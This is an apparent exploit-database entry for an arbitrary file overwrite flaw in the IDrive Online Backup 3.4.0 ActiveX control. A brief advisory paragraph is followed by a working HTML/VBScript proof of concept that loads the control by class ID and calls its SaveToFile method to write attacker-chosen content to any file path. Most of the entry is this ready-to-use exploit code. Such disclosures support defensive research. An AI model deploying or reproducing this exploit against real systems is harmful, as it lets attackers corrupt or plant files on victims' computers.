Pro Softnet IDrive Online Backup 3.4.0 – ActiveX ‘SaveToFile()’ Arbitrary File Overwrite
source: https://www.securityfocus.com/bid/48582/info Pro Softnet IDrive Online Backup ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content. An attacker can exploit this issue to corrupt and overwrite arbitrary files on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer). IDrive Online Backup ActiveX control 3.4.0 is vulnerable; other versions may also be affected. <html> <object classid='clsid:979AE8AA-C206-40EC-ACA7-EC6B6BD7BE5E' id='target' /></object> <input language=VBScript onclick=Boom() type=button value="Exploit"> <script language = 'vbscript'> Sub Boom() arg1="FilePath\File_name_to_rewrite_or_create" arg2=1 arg3="New_File_Content" target.Text=arg3 target.SelStart=0 target.SelEnd=Len(arg3) target.SaveToFIle arg1,arg2 End Sub </script> </html> |